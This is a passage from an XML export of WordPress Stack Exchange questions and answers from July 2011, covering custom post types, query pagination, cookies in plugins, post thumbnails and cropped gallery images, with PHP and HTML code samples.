'project_category' )&#xA;    ));&#xA;}&#xA;&#xA;add_filter('post_type_link', 'work_project_permalink', 10, 4);&#xA;function work_project_permalink($post_link, $post, $leavename, $sample) {&#xA;    if ( false !== strpos( $post_link, '%project_category%' ) ) {&#xA;        $glossary_letter = get_the_terms( $post-&amp;gt;ID, 'project_category' );&#xA;        $post_link = str_replace( '%project_category%', array_pop( $glossary_letter )-&amp;gt;slug, $post_link );&#xA;    }&#xA;    return $post_link;&#xA;}&#xA;&#xA;add_action('publish_projects', 'projects_default_category');&#xA;function projects_default_category($post_ID) {&#xA;    global $wpdb;&#xA;    if(!has_term('', 'project_category', $post_ID)) {&#xA;        wp_set_object_terms($post_ID, 'Uncategorized', 'project_category');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Wordpress 3.2.1&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditorDisplayName="" LastEditDate="2011-07-25T22:27:15.583" LastActivityDate="2011-07-26T03:38:39.307" Title="Custom Post Type Rewrite Throws Headers Sent Errors" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" AnswerCount="1" />
  <row Id="24030" PostTypeId="1" AcceptedAnswerId="24150" CreationDate="2011-07-25T20:26:43.263" Score="1" ViewCount="48" Body="&lt;p&gt;I am trying to get paging to work on my future post loop, but to no avail. I am getting no links, when I expect them at the bottom, for pagination despite there being several valid posts in the database.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$args = array( &#xA;    'post_type' =&amp;gt; 'program',&#xA;    'paged' =&amp;gt; get_query_var('paged') ? get_query_var('paged') : 1,&#xA;    'posts_per_page' =&amp;gt; 1,&#xA;    'post_status' =&amp;gt; &quot;future&quot;,&#xA;    'order_by' =&amp;gt; 'date',&#xA;    'order' =&amp;gt; 'ASC'&#xA;);&#xA;$program = new WP_Query;&#xA;$program-&amp;gt;query( $args );&#xA;&#xA;&#xA;&#xA;if($program-&amp;gt;have_posts()): while($program-&amp;gt;have_posts()): $program-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;//The content loop&#xA;&amp;lt;?php endwhile; ?&amp;gt; &#xA;    &amp;lt;div&amp;gt;&amp;lt;?php previous_posts_link('&amp;amp;laquo; Previous'); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div&amp;gt;&amp;lt;?php next_posts_link('More &amp;amp;raquo;'); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt; &#xA;&amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; &lt;em&gt;Further Info&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have established that $program-&gt;max_num_pages always displays the correct number of pages, so using the &lt;code&gt;offset&lt;/code&gt; argument for &lt;code&gt;WP_Query&lt;/code&gt;, I have been able to roll my own paging. But this seems like it's asking for trouble!!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; &lt;em&gt;Further Info&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have taken the rather drastic step of extending the WP_Query object. This is really over the top, but I have to make this work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MF_Query extends WP_Query{&#xA;    function __construct(array $args){&#xA;        if(!array_key_exists('posts_per_page',$args)) $args['posts_per_page'] = 10;&#xA;&#xA;        $args['offset'] = (isset($_GET['page'])?($_GET['page']-1)*$args['posts_per_page']:0);&#xA;        parent::query($args);&#xA;    }&#xA;&#xA;    function mf_next_page($link_text = &quot;Next&quot;){&#xA;&#xA;            $curPage = intval((isset($_GET['page'])?$_GET['page']:1));//Use 1 if $_GET['page'] not set&#xA;&#xA;            $link = &quot;&amp;lt;a href='&quot;.remove_post_vars(curPageURL());&#xA;&#xA;            if($curPage&amp;lt;$this-&amp;gt;max_num_pages){&#xA;                return $link.constructQuery($this-&amp;gt;merge(array(&quot;page&quot;=&amp;gt;$curPage+1),$_GET)).&quot;'&amp;gt;&quot;.$link_text.&quot;&amp;lt;/a&amp;gt;&quot;;&#xA;            } else {&#xA;                return false;&#xA;            }&#xA;&#xA;&#xA;    }&#xA;    function mf_prev_page($link_text = &quot;Prev&quot;){&#xA;&#xA;            $curPage = (isset($_GET['page'])?$_GET['page']:1);//Use 1 if $_GET['page'] not set&#xA;            $link = &quot;&amp;lt;a href='&quot;.remove_post_vars(curPageURL());&#xA;            if($curPage&amp;gt;1){&#xA;                return $link.$this-&amp;gt;constructQuery($this-&amp;gt;merge(array(&quot;page&quot;=&amp;gt;$curPage-1),$_GET)).&quot;'&amp;gt;$link_text&amp;lt;/a&amp;gt;&quot;;&#xA;            } else {&#xA;                return false;&#xA;            }&#xA;&#xA;&#xA;    }&#xA;    private function constructQuery(array $query){&#xA;&#xA;&#xA;        $url_ext = &quot;?&quot;;&#xA;        foreach($query as $k =&amp;gt; $v){&#xA;            $url_ext .=$k.&quot;=&quot;.$v.&quot;&amp;amp;amp;&quot;;&#xA;        }&#xA;        $url_ext = substr($url_ext, 0, -5);//chop last ampersand off&#xA;&#xA;&#xA;        return $url_ext;&#xA;&#xA;    }&#xA;    private function merge($get, $put){&#xA;        //Get values from one array, and put them in another (overriding existing values if appropriate)&#xA;        foreach ($get as $k =&amp;gt; $v){&#xA;                $put[$k]=$v;&#xA;        } &#xA;        return $put;&#xA;&#xA;    }&#xA;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="784" LastEditorUserId="784" LastEditorDisplayName="" LastEditDate="2011-07-26T16:04:54.773" LastActivityDate="2011-07-26T20:28:10.950" Title="Paging on a future post loop?" Tags="&lt;plugin-development&gt;&lt;theme-development&gt;&lt;pagination&gt;&lt;loop&gt;" AnswerCount="1" />
  <row Id="24031" PostTypeId="2" ParentId="24028" CreationDate="2011-07-25T20:32:14.210" Score="0" ViewCount="" Body="&lt;p&gt;Configuration instructions in Codex on &lt;a href=&quot;http://codex.wordpress.org/Editing_wp-config.php#Enabling_SSH_Upgrade_Access&quot; rel=&quot;nofollow&quot;&gt;Enabling SSH Upgrade Access&lt;/a&gt; refer to this tutorial &lt;a href=&quot;http://www.jonathan.vc/wordpress-install-upgrade-ssh.html&quot; rel=&quot;nofollow&quot;&gt;WordPress Tutorial: Using SSH to Install/Upgrade&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-25T20:32:14.210" CommentCount="1" />
  <row Id="24033" PostTypeId="1" CreationDate="2011-07-25T21:00:09.263" Score="1" ViewCount="21" Body="&lt;p&gt;I would like a second &lt;code&gt;WP_Query&lt;/code&gt; on a custom post type's single page to return 5 posts, starting with two before the current post, so that I get this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The-one-before-the-previous post&lt;/li&gt;&#xA;&lt;li&gt;Previous post&lt;/li&gt;&#xA;&lt;li&gt;Current post&lt;/li&gt;&#xA;&lt;li&gt;Next post&lt;/li&gt;&#xA;&lt;li&gt;The-one-after-the-next post&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;How can I do this? &lt;code&gt;offset&lt;/code&gt; is only good if I know the number of the current post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In pseudo-code it's easy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$gallery = new WP_Query(array(&#xA;    'post_type' =&amp;gt; 'artwork',&#xA;    'posts_per_page' =&amp;gt; 5,&#xA;    'fake-offset' =&amp;gt; $current-&amp;gt;ID-2 //This is imaginary&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="6941" LastActivityDate="2011-07-25T21:00:09.263" Title="How to make a second query offset -2 from current post" Tags="&lt;wp-query&gt;&lt;custom-loop&gt;" />
  <row Id="24035" PostTypeId="2" ParentId="21747" CreationDate="2011-07-25T21:14:05.257" Score="-2" ViewCount="" Body="&lt;p&gt;you can go to wp-admin folder -&gt; menu.php and look for something like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$menu[25] = array( sprintf( __('Comments %s')....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then add this condition around this line &lt;/p&gt;&#xA;&#xA;&lt;p&gt;global $current_user;&#xA;    if($current_user-&gt;user_level==10){the line should be here}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this way no one can see the comments except the admin.&lt;/p&gt;&#xA;" OwnerUserId="7320" LastActivityDate="2011-07-25T21:14:05.257" CommentCount="2" />
  <row Id="24036" PostTypeId="1" CreationDate="2011-07-25T21:32:32.327" Score="0" ViewCount="38" Body="&lt;p&gt;I am creating a carousel using the LoopedSlider &lt;a href=&quot;http://slidesjs.com/&quot; rel=&quot;nofollow&quot;&gt;http://slidesjs.com/&lt;/a&gt;&#xA;and would like to add the images I have uploaded to wordpress with the slider, how do I retrive the images from within wordpress to use with the slider, I would like to retrieve the full image and the thumbnail that is generated by wordpress once you upload and image, this is currently what I have it set up like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;images-wrapper&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;#&quot; class=&quot;previous&quot;&amp;gt;&amp;lt;div id=&quot;previous&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;a href=&quot;#&quot; class=&quot;next&quot;&amp;gt;&amp;lt;div id=&quot;next&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;slides&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;www.mysite.com/wp-content/uploads/2011/06/IMG_8559C1.jpg&quot; rel=&quot;lightbox&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/images/homepage-gallery/1.jpg&quot; alt=&quot;1&quot; width=&quot;140&quot; height=&quot;103&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;        &amp;lt;a href=&quot;www.mysite.com/wp-content/uploads/2011/06/IMG_8051.jpg&quot; rel=&quot;lightbox&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/images/homepage-gallery/2.jpg&quot; alt=&quot;2&quot; width=&quot;140&quot; height=&quot;103&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;        &amp;lt;a href=&quot;www.mysite.com/wp-content/uploads/2011/06/IMG_8010.jpg&quot; rel=&quot;lightbox&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/images/homepage-gallery/3.jpg&quot; alt=&quot;3&quot; width=&quot;140&quot; height=&quot;103&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;        &amp;lt;a href=&quot;www.mysite.com/wp-content/uploads/2011/06/IMG_8433C.jpg&quot; rel=&quot;lightbox&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/images/homepage-gallery/4.jpg&quot; alt=&quot;4&quot; width=&quot;140&quot; height=&quot;103&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help in advance.&lt;/p&gt;&#xA;" OwnerUserId="4304" LastEditorUserId="4304" LastEditorDisplayName="" LastEditDate="2011-07-25T22:21:38.130" LastActivityDate="2011-07-25T22:21:38.130" Title="Retriving images to use with LoopedSlider and Wordpress" Tags="&lt;php&gt;&lt;image&gt;&lt;the-content&gt;" CommentCount="2" />
  <row Id="24037" PostTypeId="1" CreationDate="2011-07-25T21:49:24.183" Score="0" ViewCount="26" Body="&lt;p&gt;I can set cookies using setcookie function. If I submit a form, then setcookie doesn't work. The function is called but I don't get any cookie.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: DoSomething&#xA;Version: 0.1&#xA;*/&#xA;&#xA;class DoSomething&#xA;{&#xA;    public function displayForm()&#xA;    {&#xA;        if (!isset($_COOKIE['do-something'])) {&#xA;            require_once('form.php');&#xA;        }&#xA;    }&#xA;&#xA;    public function formSubmission()&#xA;    {&#xA;        if (isset($_POST) &amp;amp;&amp;amp; !empty($_POST)) {&#xA;            // do something here...&#xA;        }&#xA;    }&#xA;&#xA;    public function skip()&#xA;    {&#xA;        if (isset($_GET['do-something'])) {&#xA;            self::cookies();&#xA;        }&#xA;    }&#xA;&#xA;    public function cookies()&#xA;    {&#xA;        $url = parse_url(get_bloginfo('url'));&#xA;        setcookie(&#xA;            'do-something',&#xA;            TRUE,&#xA;            3600,&#xA;            $url['path'],&#xA;            $url['host']&#xA;        );&#xA;    }&#xA;}&#xA;&#xA;add_action('init', array('DoSomething', 'skip'));&#xA;add_action('init', array('DoSomething', 'formSubmission'), 1);&#xA;add_action('wp_loaded', array('DoSomething', 'displayForm'));&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know what to do. Can you help me, please? Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;I've used $_SESSION instead and now it's working. Pretty weird :S&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7321" LastEditorUserId="7321" LastEditorDisplayName="" LastEditDate="2011-07-25T22:35:21.980" LastActivityDate="2011-07-25T22:35:21.980" Title="setcookie doesn't work after form submission" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;hooks&gt;&lt;wordpress.org&gt;&lt;init&gt;" />
  <row Id="24038" PostTypeId="1" AcceptedAnswerId="24095" CreationDate="2011-07-25T22:00:48.673" Score="1" ViewCount="48" Body="&lt;p&gt;I'm working on a custom theme that I've inherited to maintain. At the top of the homepage there is a header area with some images generated by &lt;code&gt;get_the_post_thumbnail&lt;/code&gt;. The call to &lt;code&gt;get_the_post_thumbnail&lt;/code&gt; outputs img objects that are set to a specific width/height by their html attributes. Here's the code and output:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Inside a loop&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo get_the_post_thumbnail( $id, array( 300, 300 ) ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Html output&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img width=&quot;215&quot; height=&quot;93&quot; src=&quot;[img filepath]&quot; class=&quot;attachment-300x300 wp-post-image&quot; alt=&quot;[img name]&quot; title=&quot;[img name]&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need to reset the attribute height and width dimensions to something other than &lt;em&gt;215 x 93&lt;/em&gt;. I can't find anywhere this is being set (checked in &lt;strong&gt;wp-admin&lt;/strong&gt; as well as &lt;strong&gt;functions.php&lt;/strong&gt; as well as anywhere else where I thought it might be). I am also not finding any places where &lt;code&gt;set_post_thumbnail_size&lt;/code&gt; is being called with these values. Can anyone tell me where to reset these values?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="6061" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-07-26T11:28:32.497" LastActivityDate="2011-07-26T12:14:17.763" Title="img width and height attributes being set by get_the_post_thumbnail" Tags="&lt;functions&gt;&lt;set-post-thumbnail-size&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="24039" PostTypeId="1" CreationDate="2011-07-25T22:04:43.973" Score="0" ViewCount="69" Body="&lt;p&gt;I need to show posts in two columns. I have some code but I need to modify it to show only posts based on a certain category.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&amp;lt;div class=&quot;odd-column&quot;&amp;gt;&#xA;&amp;lt;?php while(have_posts()) : ?&amp;gt;&#xA;&amp;lt;?php&#xA;$postcount++;&#xA;if( ($postcount % 2) == 0 ) : // skip 'even' posts&#xA;    $wp_query-&amp;gt;next_post();&#xA;else :&#xA;?&amp;gt;&#xA;&amp;lt;?php the_post(); ?&amp;gt;&#xA;&#xA;~ posts go here ~&#xA;&#xA;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php $postcount = 0; rewind_posts(); ?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;even-column&quot;&amp;gt;&#xA;&amp;lt;?php while(have_posts()) : ?&amp;gt;&#xA;&amp;lt;?php&#xA;$postcount++;&#xA;if( ($postcount % 2) != 0 ) : // skip 'odd' posts&#xA;    $wp_query-&amp;gt;next_post();&#xA;else :&#xA;?&amp;gt;&#xA;&amp;lt;?php the_post(); ?&amp;gt;&#xA;&#xA;~ posts go here ~&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7311" LastActivityDate="2011-08-26T03:34:56.257" Title="2 column loop by category" Tags="&lt;posts&gt;&lt;loop&gt;" AnswerCount="1" />
  <row Id="24040" PostTypeId="2" ParentId="24039" CreationDate="2011-07-25T22:20:06.050" Score="0" ViewCount="" Body="&lt;p&gt;add a custom query before the first line of your code;&#xA;example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $cat = 125; //the category ID of your certain category&#xA; $args = array(&#xA;  'category__in' =&amp;gt; array( $cat ),&#xA;  'paged' =&amp;gt; get_query_var('paged')&#xA; );&#xA;query_posts( $args ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/query_posts&lt;/a&gt;&#xA;http://codex.wordpress.org/Class_Reference/WP_Query#Parameters&#xA;&lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query#Category_Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Class_Reference/WP_Query#Category_Parameters&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4884" LastEditorUserId="4884" LastEditorDisplayName="" LastEditDate="2011-07-26T19:09:20.107" LastActivityDate="2011-07-26T19:09:20.107" CommentCount="6" />
  <row Id="24041" PostTypeId="1" CreationDate="2011-07-25T22:29:15.847" Score="0" ViewCount="43" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/15251/moving-the-blogs-from-tumblr-to-wordpress&quot;&gt;Moving the blogs from Tumblr to Wordpress&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Do know any way to import post from tubmlr to wordpress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried this &lt;a href=&quot;http://www.tumblr2wp.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.tumblr2wp.com/&lt;/a&gt; but it only imported 1 post and I have about 20 plus posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Need your help on this as soon as possible please&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="7322" LastActivityDate="2011-07-25T23:50:14.310" ClosedDate="2011-07-26T09:01:12.350" Title="Import post from Tumblr to Wordpress" Tags="&lt;import&gt;&lt;tumblr&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="24042" PostTypeId="1" CreationDate="2011-07-25T22:34:30.877" Score="1" ViewCount="52" Body="&lt;p&gt;I am currently using toolbox as a parent theme and have created a template file called single-projects.php where all posts of the custom post type 'projects' are shown.  The previous and next buttons work well but they show the next posts in the same 'projects' post type and I need them to be in the same taxonomy as well. The code for the previous/next links now looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;nav id=&quot;nav-below&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;nav-previous&quot;&amp;gt;&amp;lt;?php previous_post_link( '%link', '&amp;lt;span class=&quot;meta-nav&quot;&amp;gt;' . _x( '&amp;amp;larr;', 'Previous post link', 'toolbox' ) . '&amp;lt;/span&amp;gt; Previous Post' ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;nav-next&quot;&amp;gt;&amp;lt;?php next_post_link( '%link', 'Next Post &amp;lt;span class=&quot;meta-nav&quot;&amp;gt;' . _x( '&amp;amp;rarr;', 'Next post link', 'toolbox' ) . '&amp;lt;/span&amp;gt;' ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/nav&amp;gt;&amp;lt;!-- #nav-below --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This post seemed the closest to what I need &lt;a href=&quot;http://stackoverflow.com/questions/5775197/wordpress-get-pages-taxonomy-parameter&quot;&gt;http://stackoverflow.com/questions/5775197/wordpress-get-pages-taxonomy-parameter&lt;/a&gt; but I could not get it to work. Is there a way to only link to posts in the same taxonomy?&lt;/p&gt;&#xA;" OwnerUserId="7323" LastActivityDate="2011-08-26T20:35:12.760" Title="Next and Previous links on a single taxonomy page only link to same term" Tags="&lt;custom-taxonomy&gt;&lt;next-post-link&gt;&lt;previous-post-link&gt;" AnswerCount="1" />
  <row Id="24043" PostTypeId="1" CreationDate="2011-07-25T23:26:41.750" Score="1" ViewCount="29" Body="&lt;p&gt;I don't need my plugin running through wp-admin, including wp-login. How could I prevent it? is_admin works fine but i don't know how to ignore everything related to wp-admin (like wp-login.php).&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7321" LastActivityDate="2011-08-25T04:34:26.860" Title="How could I execute my plugin just in frontend (not in backend)" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;wp-admin&gt;&lt;wordpress.org&gt;&lt;frontend&gt;" AnswerCount="1" />
  <row Id="24044" PostTypeId="2" ParentId="24043" CreationDate="2011-07-25T23:38:57.113" Score="0" ViewCount="" Body="&lt;p&gt;Check the requested URI:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(!is_admin()&#xA; &amp;amp;&amp;amp; strpos($_SERVER['REQUEST_URI'], 'wp-login.php') === false &#xA; &amp;amp;&amp;amp; strpos($_SERVER['REQUEST_URI'], 'wp-signup.php') === false) { ... }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it's probably better to use a white-list style:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if(is_front_page() || is_singular() || is_archive()) { ... }&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These 3 tags should cover pretty much all of the front-end...&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-07-25T23:38:57.113" CommentCount="1" />
  <row Id="24045" PostTypeId="2" ParentId="24041" CreationDate="2011-07-25T23:50:14.310" Score="0" ViewCount="" Body="&lt;p&gt;Try the Tumblr Importer. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/tumblr-importer/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/tumblr-importer/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if you have any problems with it, we're actively trying to improve it. &lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-25T23:50:14.310" />
  <row Id="24046" PostTypeId="2" ParentId="15251" CreationDate="2011-07-25T23:52:40.407" Score="1" ViewCount="" Body="&lt;p&gt;Try the Tumblr Importer. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/tumblr-importer/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/tumblr-importer/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if you have any problems with it, we're actively trying to improve it.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-25T23:52:40.407" />
  <row Id="24047" PostTypeId="1" AcceptedAnswerId="24050" CreationDate="2011-07-26T00:10:05.547" Score="0" ViewCount="21" Body="&lt;p&gt;I'm looking for a plugin that pulls an Image from a Wordpress Posts Gallery (Note NOT the Featured Thumbnail, we have thousands of posts and can't retroactively go back and set a Featured image for each post..)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also some of the plugins I've tested don't let you specify exact dimensions, the Wordpress Get The Image Plugin let's you  pull an image from the gallery like I want then you set the width but it tries to maintain proprotions.  So basically I need it to do exactly that except not try and maintain proportions but rather do a Zoom Crop if that makes sense.&lt;/p&gt;&#xA;" OwnerUserId="6910" LastActivityDate="2011-07-26T00:28:44.480" Title="Getting top Image From the Gallery and printing out a thumbnail with Exact Dimensions" Tags="&lt;images&gt;&lt;post-thumbnails&gt;&lt;gallery&gt;" AnswerCount="1" />
  <row Id="24049" PostTypeId="1" CreationDate="2011-07-26T00:19:00.903" Score="0" ViewCount="29" Body="&lt;p&gt;Oh Wise list,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whats the best platform out there that is flexible enough to easily integrate this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Custom Flash App&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i would like customers to :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 - Select a t-shirt from a gallery of artists. &lt;br&gt;&#xA;2 - Customize it ( using a Flash tool i created ) &lt;br&gt;&#xA;3 - Select a T-shirt size &lt;br&gt;&#xA;4 - Order it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All this flash widget does is generate a JPG on the server. the ecommerce app should assign it to that Customer, and add it to their shopping cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Social Features Customers should also be able to comment on the t-shirts and artist bios.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking of trying Wordpress plugins like Shopp or Getshopped or Cart66. ----- then BuddyPRess for social features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any advice would be appreciated thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;artur&lt;/p&gt;&#xA;" OwnerUserId="7325" LastActivityDate="2011-07-26T00:19:00.903" Title="Which E-commerce Platform works well with Flash Customization+Social?" Tags="&lt;e-commerce&gt;&lt;flash&gt;" />
  <row Id="24050" PostTypeId="2" ParentId="24047" CreationDate="2011-07-26T00:28:44.480" Score="0" ViewCount="" Body="&lt;p&gt;No need for plugins. Some simple code in your theme can do this job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get any size image by passing an array of width and height for the size parameters, but to get a cropped image, you have to predefine it as an premade image size so that the crop gets created properly at upload time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do that, in your theme's functions.php file, you need to add something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function themename_setup() {&#xA;    add_image_size( 'themename-some-description-of-the-size', 100, 100, true );&#xA;}&#xA;add_action( 'after_setup_theme', 'themename_setup' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's the width and height you want, and the &quot;true&quot; saying you want it to crop to the center of the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you need code in the Loop to pull either the Featured Image (if there is one) or the First Image from the gallery (if there's no featured image). This code would go into The Loop, so that you're getting it for the current post.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( has_post_thumbnail() ) {&#xA;        $thumb_id = get_post_thumbnail_id();&#xA;} else {&#xA;    $attachments = get_children( array(&#xA;        'post_parent' =&amp;gt; get_the_ID(),&#xA;        'post_status' =&amp;gt; 'inherit',&#xA;        'post_type' =&amp;gt; 'attachment',&#xA;        'post_mime_type' =&amp;gt; 'image',&#xA;        'order' =&amp;gt; 'ASC',&#xA;        'orderby' =&amp;gt; 'menu_order ID',&#xA;        'numberposts' =&amp;gt; 1)&#xA;    );&#xA;    $attachment = array_shift($attachments);&#xA;    $thumb_id = $attachment-&amp;gt;ID;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, you need to display the resulting image:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo wp_get_attachment_image($thumb_id, 'themename-some-description-of-the-size');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Simple. However, there's one caveat: Your already uploaded images won't have this size image created for them. So WordPress will pick the best fitting image and try to use that. This is not always ideal. Use a plugin like &lt;a 